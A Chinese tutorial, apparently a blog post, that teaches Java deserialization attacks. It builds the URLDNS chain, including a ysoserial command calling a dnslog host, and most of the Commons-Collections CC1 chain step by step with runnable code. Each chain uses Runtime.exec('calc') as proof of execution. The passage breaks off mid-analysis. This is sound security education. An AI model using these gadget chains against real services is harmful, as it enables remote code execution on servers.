零、环境搭建 0.1 基础环境 下面的基础的环境,不做特别说明时,均使用以下环境:
0.2 环境搭建 先下载好jdk1.8.0_65 ,这部分相对比较简单,不在这里赘述了,网上搜索也有相关的教程,需要注意的就是配置环境变量的部分,跟着教程走,注意一下就好了。
下面说说怎么引入源码;
打开openJDK 8u65 源码链接,下载源码;
将下载下来的源码解压,得到源码文件,然后我们重点关注/src/share/classes/sun
这个文件夹,这个就是我们需要的源码文件。
然后我们打开我们下载安装好的jdk1.8.0_65文件夹,其中有一个src.zip压缩文件,将其解压到当前目录下。
解压后,文件夹src中是没有sun文件夹的,我们将openjdk的源码文件夹/src/share/classes/sun
贴过来
完成以上步骤就可以了,到时候我们需要查看jdk底层代码的时候就可以不需要看.class反编译的代码了。
一、反序列化基础 1.1 基本介绍 1.1.1 概念 序列化(Serialization) 是指将数据结构或对象转换为一种可以存储或传输的格式的过程。这种格式通常是字节流或字符串,以便可以通过网络传输、保存到文件中或存储在数据库中。常见的序列化格式包括JSON、XML、二进制格式等。
反序列化(Deserialization) 是指将序列化的数据格式转换回原始数据结构或对象的过程。通过反序列化,可以从存储或传输的格式中重新构建出原始的数据结构或对象。
简单理解:
序列化:对象 -> 字符串
反序列化:字符串 -> 对象
1.1.2 目的 序列化的目的:为了方便数据的传输;
数据持久化 :将数据保存到文件、数据库等存储介质中,以便在以后重新加载和使用。
数据传输 :在网络通信中,通过序列化将数据转换为可以传输的格式,并在接收端通过反序列化恢复为原始数据。
跨平台数据交换 :不同系统或编程语言之间的数据交换,通过标准的序列化格式(如JSON、XML等)实现互操作性。
1.1.3 应用
想把内存中的对象保存到一个文件中或者是数据库当中。
用套接字在网络上传输对象。
通过 RMI 传输对象的时候。
1.1.4 常见的序列化格式
JSON :一种轻量级的数据交换格式,易于人类阅读和编写,同时也便于机器解析和生成。
XML(SOAP) :一种标记语言,广泛用于文档存储和数据传输。
Protobuf :Google开发的高效二进制序列化格式,适用于高性能需求的应用场景。
YAML :一种易读的序列化格式,常用于配置文件。
1.2 Java原生序列化 1.2.1 Java序列化与反序列化 简单感受一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package com.candy.entity;import java.io.Serializable;public class Person implements Serializable { private String name; private int age; public Person () { } public Person (String name, int age) { this .name = name; this .age = age; } @Override public String toString () { return "person{" + "name='" + name + '\'' + ", age=" + age + '}' ; } }
序列化和反序列化serialization.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package com.candy;import com.candy.entity.Person;import java.io.*;import java.util.Base64;public class serialization { public static void main (String[] args) throws IOException, ClassNotFoundException { Person person = new Person ("candy" , 18 ); byte [] ser = ser(person); System.out.println(Base64.getEncoder().encodeToString(ser)); System.out.println(deser(ser)); } public static byte [] ser(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(o); return baos.toByteArray(); } public static Object deser (byte [] ser) throws IOException, ClassNotFoundException { ByteArrayInputStream bais = new ByteArrayInputStream (ser); ObjectInputStream ois = new ObjectInputStream (bais); return ois.readObject(); } }
运行serialization.java 程序后得到Person对象经过base64编码的序列化字符串,并且能够将字节经过反序列化为Person对象,输出对象时,调用对象的toString()
方法
1.2.2 Serializable接口说明
序列化类的属性没有实现 Serializable 那么在序列化就会报错!
在反序列化过程中,它的父类如果没有实现序列化接口(implements Serializable),那么将需要提供无参构造函数来重新创建对象。
一个实现 Serializable 接口的子类也是可以被序列化的。
静态成员变量是不能被序列化
transient 标识的对象成员变量不参与序列化
1.3 Java反序列化安全问题 1.3.1 安全问题产生原因 在序列化和反序列化中存在两个“特别特别特别特别特别特别特别特别 ”重要的方法——writeObject()
和readObject()
。
由于这两个方法(writeObject()
和readObject()
)能够被开发者重写,一般的序列化的重写都是由于下面的场景诞生的。
举个例子,开发者在MyList类定义了一个arr数组属性,初始化的数组长度为100。在序列化时,如果让arr属性参与序列化的话,那么长度为 100的数组都会被序列化下来,但是我们数组中可能只存放30个元素,这明显是不合理的,所有这里需要开发者自定义序列化的过程和反序列化过程,具体的做法就是重写一下两个private方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOExceptionprivate void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundExceptionpackage com.candy.entity;import java.io.IOException;import java.io.Serializable;public class Person implements Serializable { private String name; private int age; public Person () { } public Person (String name, int age) { this .name = name; this .age = age; } @Override public String toString () { return "person{" + "name='" + name + '\'' + ", age=" + age + '}' ; } private void readObject (java.io.ObjectInputStream in) throws ClassNotFoundException, IOException { in.defaultReadObject(); System.out.println("执行自定义反序列化咯!!!" ); } }
只要服务端反序列化数据,客户端传递的类的readObject()
方法中的代码会自动调用,这个方法是在服务端所在的机器上运行的。因此,若readObject()
中存在恶意方法的执行,就会导致服务端执行恶意代码,从而实现攻击。
解释一下传递类的readObject
函数会自动执行的原因:
当 ObjectInputStream
反序列化一个对象时,它会检查该类是否定义了一个私有的 readObject
方法。如果存在这样的一个方法,它就会调用这个方法来反序列化对象,而不是使用默认的反序列化机制。这允许开发者在反序列化过程中插入自定义的逻辑。
所以从根本上来说,Java 反序列化的漏洞的与 readObject
有关。
1.3.2 可能存在的安全漏洞形式
入口类readObject
直接调用危险函数
这种情况在实际开发场景中并不常见,但是可以用来简单理解反序列化漏洞
在入口类Person中自定义的readObject
方法中调用危险函数exec
调用系统命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package com.candy.entity;import java.io.IOException;import java.io.Serializable;public class Person implements Serializable { private String name; private int age; public Person () { } public Person (String name, int age) { this .name = name; this .age = age; }@Override public String toString () { return "person{" + "name='" + name + '\'' + ", age=" + age + '}' ; } private void readObject (java.io.ObjectInputStream in) throws ClassNotFoundException, IOException { in.defaultReadObject(); System.out.println("执行自定义反序列化咯!!!" ); Runtime.getRuntime().exec("calc" ); } }
在serialization.java 中new一个Person对象进行序列化在进行反序列化,在反序列化过程中调用了用户自定义的readObject,导致执行语句Runtime.getRuntime().exec("calc");
从而调用了计算器;
入口类参数中包含可控类,该类有危险方法,在反序列化readObject
时会调用该危险方法
入口类参数中包含可控类,该类又调用其他又危险方法的类,在反序列化readObject
时调用
这个第三点呢,就是反序列化利用链的基础,我们可以通过入口类调用class1,class1调用class2,class2调用class3,….,一系列类的调用,最终classn调用了Runtime.getRuntime().exec(),从而实现攻击。
构造函数、静态代码块等类加载时隐式执行
1.4 反序列化漏洞攻击思路
攻击前提:实现Serializable(implement Serializable)
基本思路:
入口类Source(重写readObject;调用常见的函数;参数类型宽泛<例如可以传入一个Object作为参数>;最好是jdk自带的类;)
找到入口类之后要找调用链gadget chain;相同名称、相同类型
执行类sink(RCE、SSRF、写文件等等),比如exec
函数等等;
1.4.1 HashMap寻找入口类
攻击前提,实现Serializable(implement Serializable)
首先,查看其自定义的反序列化函数readObject()
。
可以发现HashMap中的键key
和值value
均是通过反序列化得到的(这个其实不重要),随后再将key变量进行hash
操作传入putVal()
函数中(这个比较重要);
发现,当key值不为空null时,会调用key的hashCode()方法;同时,我们可以发现key的类型为Object,满足所需的参数类型宽泛 这一条件。因此,这个HashMap可以当作一个入口类来使用,重点就在于后续怎么利用这个入口类?利用链gadget chain怎么构造?
1.4.2 URLDNS实战 简单实践一下,手搓一下urldns这条链子,体会一下Java反序列化利用链到底是个什么东西;
URL利用链的优点如下,非常适合我们用于检测反序列化漏洞:
使⽤ Java 内置的类构造,对第三⽅库没有依赖;
在⽬标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞 URL ;
先通过反序列化利用链工具 ysoserial 来体验一下这条链子到底能实现什么样的效果;(需要注意你的java应该是jdk8u65)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 java -jar ysoserial.jar URLDNS "http://7d3511d4.log.dnslog.sbs." > urldns.bin package com.candy; import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; /** * @author candy * @project Deserializatioin * @file com.candy.urldnsDeser.java * @date 2024/10/24 01:10 */ public class urldnsDeser { public static void main(String[] args) throws IOException, ClassNotFoundException { deser("Your urldns.bin file absolute path" ); } public static void deser(String fileName) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); Object o = ois.readObject(); } }
接下来我们来查看一下ysooserial项目中的urldns链
先来看看这里利用链是什么意思?(跟入代码分析)
HashMap -> readObject()
HashMap -> putVal()
HashMap -> hash()
URL -> hashCode()
URLStreamHandler->hashCode()
URLStreamHandler -> getHostAddress()
InetAddress -> getByName()
根据上面分析的内容,我们大致可以构造出一下的序列化内容;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public class URLDNSGadgetChian { public static void main (String[] args) throws IOException, ClassNotFoundException { URL url = new URL ("www.baidu.com" ); HashMap<URL, Integer> hashMap = new HashMap <>(); hashMap.put(url, 1 ); byte [] ser = ser(hashMap); System.out.println(Base64.getEncoder().encodeToString(ser)); Object deser = deser(ser); } public static byte [] ser(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(o); return baos.toByteArray(); } public static Object deser (byte [] ser) throws IOException, ClassNotFoundException { ByteArrayInputStream bais = new ByteArrayInputStream (ser); ObjectInputStream ois = new ObjectInputStream (bais); return ois.readObject(); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package com.candy;import java.io.*;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.Base64;import java.util.HashMap;public class URLDNSGadgetChian { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { URL url = new URL ("http://dsrvtxgjvv.dgrh3.cn" ); Class<? extends URL > urlClass = url.getClass(); Field hashCode = urlClass.getDeclaredField("hashCode" ); hashCode.setAccessible(true ); hashCode.set(url, 1234 ); HashMap<URL, Integer> hashMap = new HashMap <>(); hashMap.put(url, 1 ); hashCode.set(url, -1 ); byte [] ser = ser(hashMap); System.out.println(Base64.getEncoder().encodeToString(ser)); Object deser = deser(ser); } public static byte [] ser(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(o); return baos.toByteArray(); } public static Object deser (byte [] ser) throws IOException, ClassNotFoundException { ByteArrayInputStream bais = new ByteArrayInputStream (ser); ObjectInputStream ois = new ObjectInputStream (bais); return ois.readObject(); } }
二、Java反射 2.1 反射的概念 2.1.1 正射与反射
我们在编写代码时,当需要使用到某一个类的时候,都会先了解这个类是做什么的。然后实例化这个类,接着用实例化好的对象进行操作,这就是正射。
1 2 Student student = new Student (); student.doHomework("数学" );
指在运行时动态地获取类的信息和操作对象的能力。反射允许程序在不知道对象具体类型的情况下,检查和操作类的结构,包括类的方法、字段、构造函数等。
新建一个类reflection.java获取Person对象;
1 2 3 public static void main (String[] args) throws ClassNotFoundException { Class<?> pClass = Class.forName("com.candy.entity.Person" ); }
2.1.2 Class对象的理解 我们程序在运行的时候会编译生成一个 .class
文件,而这个 .class
文件中的内容就是相对应的类的所有信息,比如这段程序当中:
1 2 3 public static void main (String[] args) throws ClassNotFoundException { Class<?> pClass = Class.forName("com.candy.entity.Person" ); }
其实 person.class
就是 Class
,Class 也就是描述类的类。
Class 类的对象作用 是运行时提供或获得某个类的信息。
2.2 反射的运用 2.2.1 反射相关的类 反射机制相关操作一般位于java.lang.reflect包中。
java反射机制组成需要重点注意以下的类:
java.lang.Class:类对象;
java.lang.reflect.Constructor:类的构造器对象;
java.lang.reflect.Field:类的属性对象;
java.lang.reflect.Method:类的方法对象;
2.2.2 反射的基本操作 反射在反序列化中一般是扮演者修改值和创建对象的责任,满足一些函数中的判断,保证利用链能够顺利进行;
2.2.3 获取类Class的方式
实例化对象的getClass()方法
1 2 Person p = new Person ();Class pClass = p.getClass();
使用类的.class方法
1 2 Class personClass = Person.class;
Class.forName(String className):动态加载类
1 Class psClass = Class.forName("com.candy.entity.Person" );
以上是三种获取Class的方式,以下是一个简单的示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.candy;import com.candy.entity.Person;import java.beans.PersistenceDelegate;public class getClass { public static void main (String[] args) throws ClassNotFoundException { Person p1 = new Person (); Class<? extends Person > p1Class = p1.getClass(); System.out.println(p1Class.getName()); Class<Person> p2Class = Person.class; System.out.println(p2Class.getName()); Class<?> p3Class = Class.forName("com.candy.entity.Person" ); System.out.println(p3Class.getName()); } }
2.2.4 反射获取和修改属性值 获取成员变量Field位于 java.lang.reflect.Field
包中
Field[] getFields() :获取所有 public 修饰的成员变量
Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符
Field getField(String name) 获取指定名称的 public 修饰的成员变量
Field getDeclaredField(String name) 获取指定的成员变量
设置成员变量Field位于java.lang.reflect.Field
包中
void set(Object obj, Object value):设置对象obj的Field属性为值value
在Java反序列化中比较常用的就是getDeclaredField(String name)
方法,因为我们需要的是修改指定成员变量的值;getField(String name)
有限制只能获取到public修饰的,但是getDeclaredField(String name)
无论是否为public修饰都可以获取到。
当时存在一些特殊情况无法修改类中成员变量的值。那就是final修饰的时候,final修饰直接赋值,反射不能修改值;final修饰间接赋值,可以修改;这里不在演示,碰到的时候就会知道了,情况比较少;
1 2 3 4 5 6 7 8 9 10 11 12 public class GetAndSetField { public static void main (String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Person p = new Person ("candy" , 18 ); System.out.println(p); Class<? extends Person > pClass = p.getClass(); Field name = pClass.getDeclaredField("name" ); name.setAccessible(true ); name.set(p, "hacker" ); System.out.println(p); } }
2.2.5 反射获取和调用方法 获取成员方法位于 java.lang.Class
类中:
Method getMethod(String name, Class<?>… parameterTypes) :返回该类public修饰的指定名称name的方法
Method getDeclaredMethod(String name, Class<?>… parameterTypes) :返回该类指定名称name的方法
Method[] getMethods() :获取所有的public方法,包括类自身声明的public方法,父类中的public方法、实现的接口方法
Method[] getDeclaredMethods() : 获取该类中的所有方法
调用成员方法位于java.lang.reflect.Method
类中:
Object invoke(Object obj, Object… args):调用指定对象obj的方法method,参数为args;
这里存在一个和获取修改属性值一样的特点,我们比较常用的是getDeclaredMethod(String name, Class<?>... parameterTypes)
方法,能够满足更多情况,符合需求;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private void customMethod (String str) { System.out.println("customMethod " + str + " has been called" ); }package com.candy;import com.candy.entity.Person;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class GetAndInvokeMethod { public static void main (String[] args) throws NoSuchFieldException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Person p = new Person ("candy" , 18 ); Class<? extends Person > pClass = p.getClass(); Method toString = pClass.getDeclaredMethod("customMethod" , String.class); toString.setAccessible(true ); toString.invoke(p, "invokeTest" ); } }
2.2.6 反射调用构造函数创建实例 获取构造函数的方法位于java.lang.Class
类中:
Constructor<?>[] getConstructors() :返回public修饰构造函数
Constructor<?>[] getDeclaredConstructors() :返回所有构造函数
Constructor<> getConstructor(Class<?>… parameterTypes) : 匹配和参数配型相符的public构造函数
Constructor<> getDeclaredConstructor(Class<?>… parameterTypes) : 匹配和参数配型相符的构造函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package com.candy;import com.candy.entity.Person;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;public class GetAndInvokeConstructor { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { Class<?> pClass = Class.forName("com.candy.entity.Person" ); Person p1 = (Person) pClass.newInstance(); System.out.println(p1); Constructor<?> notParamConstructor = pClass.getDeclaredConstructor(); notParamConstructor.setAccessible(true ); Person p2 = (Person)notParamConstructor.newInstance(); System.out.println(p2); Constructor<?> constructor = pClass.getDeclaredConstructor(String.class, int .class); constructor.setAccessible(true ); Person p3 = (Person) constructor.newInstance("candy" , 18 ); System.out.println(p3); } }
2.3 利用反射执行命令 先简单了解一下Runtime
类
在Java编程中,Runtime
类提供了一种与Java应用程序的运行环境进行交互的方式。Runtime
类是一个单例类,它封装了应用程序运行时的环境,通过它,开发者可以访问JVM的某些底层特性和功能。以下是 Runtime
类的主要作用和功能:
单例类(Singleton)是一种设计模式,确保一个类只有一个实例,并提供全局访问点。
执行系统命令
可以使用 exec
方法来执行操作系统命令,这在需要与系统进程交互时非常有用。
1 2 3 4 5 try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); }
内存管理
关闭JVM
添加JVM关闭钩子
在Java反序列化利用中主要运用的是其执行系统命令的功能,因此只对执行系统命令进行深入。
在正常情况下,需要通过Runtime
类进行命令执行差不多如上述所示;那么问题来了,如何通过反射来调用exec
呢?
来到java.lang.Runtime
中发现Runtime()
构造方法是私有的,所以我们不能直接通过newInstance
去实例化对象,所以引申出以下两种方法调用exec
方法
2.3.1 获取构造函数设置暴力访问 通过反射获取Runtime
类的构造函数,设置可访问setAccessible(true)
,再实例化对象调用exec
函数即可,具体实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package com.mango.reflection;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class reflectionRuntime { public static void main (String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException, InvocationTargetException { Runtime.getRuntime().exec("calc" ); Class c = Class.forName("java.lang.Runtime" ); Constructor con = c.getDeclaredConstructor(); con.setAccessible(true ); Object o = con.newInstance(); Method mRuntime = c.getDeclaredMethod("getRuntime" ); Method mExec = c.getDeclaredMethod("exec" , String.class); Object re = mRuntime.invoke(o); mExec.invoke(re, "calc" ); } }
2.3.2 使用单例模式直接调用getRuntime()和exec函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package com.mango.reflection;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class reflectionRuntime { public static void main (String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException, InvocationTargetException { Class c = Class.forName("java.lang.Runtime" ); Method mRuntime = c.getMethod("getRuntime" ); Method mExec = c.getMethod("exec" , String.class); Object re = mRuntime.invoke(c); mExec.invoke(re, "calc" ); } }
三、CC1利用链分析 在这里简单介绍一下Common-Collections
Apache Commons 是Apache软件基金会的项目,曾经隶属于Jakarta
项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper
(是一些已发布的项目)、Sandbox
(是一些正在开发的项目)和Dormant
(是一些刚启动或者已经停止维护的项目)。
简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。
org.apache.commons.collections
– CommonsCollections自定义的一组公用的接口和工具类
org.apache.commons.collections.bag
– 实现Bag接口的一组类
org.apache.commons.collections.bidimap
– 实现BidiMap系列接口的一组类
org.apache.commons.collections.buffer
– 实现Buffer接口的一组类
org.apache.commons.collections.collection
–实现java.util.Collection接口的一组类
org.apache.commons.collections.comparators
– 实现java.util.Comparator接口的一组类
org.apache.commons.collections.functors
–Commons Collections自定义的一组功能类
org.apache.commons.collections.iterators
– 实现java.util.Iterator接口的一组类
org.apache.commons.collections.keyvalue
– 实现集合和键/值映射相关的一组类
org.apache.commons.collections.list
– 实现java.util.List接口的一组类
org.apache.commons.collections.map
– 实现Map系列接口的一组类
org.apache.commons.collections.set
– 实现Set系列接口的一组类
3.1 Java反序列化利用链挖掘思路 根据之前的URLDNS链可以类似的总结出来反序列化攻击的利用链寻找思路是从后面往前面去找,先找到能够利用的危险函数再往前找利用的链路和类型,我们必须要有危险函数可以实现利用,然后再一步一步往前构造实现利用链;
重点应该在于不同类的同名函数调用
,通过传入危险类的实例作为参数的某个类的实例调用该同名函数
实现对危险类该同名危险函数
的调用(总之,我们的目的就是调用危险类的的危险函数,但是我们无法直接调用,需要通过反序列化进行调用一些平常函数然后形成链调用危险类的危险函数);
为了能够实现漏洞利用,至少需要能够写文件或者能够命令执行,那么我们需要找到能够执行命令的地方。
在commons-collections
中存在一个InvokerTransformer
类中的transform
方法能够通过反射调用exec
实现命令执行;
其中的input
作为形参传入,iMethodName
、iParamTypes
、iArgs
三个变量均是类中属性,可以在实例化时对其进行初始化;
因此我们可以根据该实现调用Runtime
类中的exec
实现弹calc计算器;实践开始!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package com.candy;import org.apache.commons.collections.functors.InvokerTransformer;public class InvokerTransfomerTransform2exec { public static void main (String[] args) { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); invokerTransformer.transform(r); } }
现在已经成功执行了危险函数了,那么后续的工作就是如何寻找利用链,怎么让某个类反序列化的时候根据利用链依次调用到InvokerTransformer#transform()
函数;
总之,目前实现了第一步,找到一个类的方法执行了危险函数;
通过idea自带的查找用法
查找存在哪些函数调用了该同名函数transform
可以看到总共有21个结果;如果结果数量较少或者没有,点击左边的设置,将作用域更改为所有位置
即可;
对于这21个结果呢,其实还是有一部分能够继续构成链的,但是这一部分中,最后能够跟反序列化构成链的应该没几个;
那么这时候问题就来了
“那我们在实际情况中应该选哪个呢?”
“我也不知道!一个个找找看呗,能构成利用链的那个就是啦!人工深搜(dfs)一下”
在本次中应该选择的是在TransformedMap
中的checkSetValue()
函数
可以发现的是valueTransformer
变量是作为类TransformedMap
的属性,应该在其实例化时能够初始化;但是我们发现其构造函数是protected
,无法调用其进行初始化;
但是,天无绝人之路!还有一个静态decorate
函数能够为我们所用进行实例化;所以我们可以利用该函数其实例化一个指定属性的TransformedMap
类的实例;
其实,细心的朋友可以发现咱们的checkSetValue
函数也是protected
的,我们不能够通过TransformedMap
实例直接调用该函数,但是最后构造好的利用链的不同类均在内部包中,所以能够调用checkSetValue
函数;
所以,我们目前先通过利用反射测试该方法是否能够成功弹出计算器;实践开始!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package com.candy;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class TransformedMapCheckSetValue2transform { public static void main (String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); Map transformedMap = TransformedMap.decorate(map, null , invokerTransformer); Class<? extends Map > mapClass = transformedMap.getClass(); Method checkSetValueMethod = mapClass.getDeclaredMethod("checkSetValue" , Object.class); checkSetValueMethod.setAccessible(true ); checkSetValueMethod.invoke(transformedMap, r); } }
3.4 MapEntry调用checkSetValue函数 继续重复刚才查找用法的步骤,可以发现仅存在一个地方调用了同名函数
来到调用函数的地方可以发现该类继承了MapEntry的装饰的抽象类;
同样TransformedMap
类也继承了Map输入检查的装饰类。
这里我们需要知道一个概念就是**Map.Entry**
就是在Map中的一个键值对(entry)
到这里可能会有一点难理解,因为它们均继承了Map的装饰类,在CommonCollections中对Map接口进行了自己的实现,而MapEntry类的setValue
方法即是继承AbstractMapEntryDecorator
对Map.Entry
接口中setValue
方法的实现;
因此,我们在通过decorate
函数实例化的TransformedMap
实例是通过CommonCollection实现的Map,因此该TransformedMap的Map.Entry
的调用的setValue
方法是MapEntry
中实现的方法;
由于MapEntry
是继承于Map.Entry
的,所以setValue()
是通过Map.Entry
进行调用的;
但是说了这么多,其实我们根本也不需要管那个entry
,因为跟它没什么关系啊!因为是parent
变量在调用checkSetValue
函数呀,我们需要的是执行checkSetValue
函数;
通过跟踪AbstractInputCheckedMapDecorator
类型可以发现,其最终是实现Map
接口的,所以可以简单认为其是一个Map类型(不规范啊,别这么认为,方便理解就行);根据查看构造函数MapEntry
的用法,大概可以猜测到其应该是一个默认值,即map
变量,用来判断每个键值对entry归属于哪个map变量的。(大致理解和猜测,底层代码太多太复杂,看不太懂);
至此,可以得出的结论就是,通过entry调用setValue
方法即可让map变量调用checkSetValue
函数,这其实就已经达到我们的目的啦,因为我们要的就是让map变量调用checkSetValue
函数;实践开始!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.candy;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class MapEntry2checkSetValue { public static void main (String[] args) { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" , "value" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer); for (Map.Entry entry : transformedMap.entrySet()) { entry.setValue(r); } } }
3.5 AnnotationInvocationHandler入口类readObject() 在完成前面这部分内容之后可能我们会产生一个疑问,就是“什么时候我们这个链才算是结束?”其实就是存在一个重写的readObject()
中调用了相应的同名函数;这时候我们可以通过反序列化调用该函数实现链的利用;
在本次的CC1链中,继续查找setValue
函数的用法查找,最后在AnnotationInvocationHandler
类中重写readObject
函数找到了对该函数的调用;
可以看到memberValue
变量的内容是跟memberValues
变量有关的,也就是取出memberValues
中的entry,这样只要我们将相应的map作为memberValues
即可使其的entry调用setValue
达到我们的目的;
来到该类的构造函数我们可以发现memberValues
属性的值是可控的,我们在构造该类时即可设置相应的memberValues
的值;
我们首先尝试一下是否真的如我们所说的一样获得我们想要的属性值;由于AnnotationInvocationHandler
类没有设置public
属性,默认default
,所以不能直接通过new
进行实例化对象,因此需要通过反射进行实例化;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package com.candy;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class AnnotationInvocationHandlerReadObject2setValue { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" , "value" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer); Class<?> annotationInvocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> annotationInvocationhandlerconstructor = annotationInvocationhandlerClass.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhandlerconstructor.setAccessible(true ); Object annotationInvocationHandler = annotationInvocationhandlerconstructor.newInstance(Override.class, transformedMap); byte [] ser = ser(annotationInvocationHandler); deser(ser); } public static byte [] ser(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(o); return baos.toByteArray(); } public static Object deser (byte [] ser) throws IOException, ClassNotFoundException { ByteArrayInputStream bais = new ByteArrayInputStream (ser); ObjectInputStream ois = new ObjectInputStream (bais); return ois.readObject(); } }
通过下断点调试代码可以知道确实如我们所说,memberValues
变量确实是我们所设置的参数;继续调试我们会发现我们无法进入447行
的if结构中,尝试满足其判断;首先我们需要详细分析一下在AnnotationInvocationHandler
类中重写的readObject
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
其中type
是我们自己传入的一个类,通过Chatgpt工具查询一下底层源码的功能我们可以知道annotationType = AnnotationType.getInstance(type);
是为了获取type类中的元数据
返回一个AnnotationType
实例,对该实例在调用memberTypes()
将属性名称 和类型 作为键值对构成Map
;可以将type
数据传入Target.class
进行调试,得到以下结果:
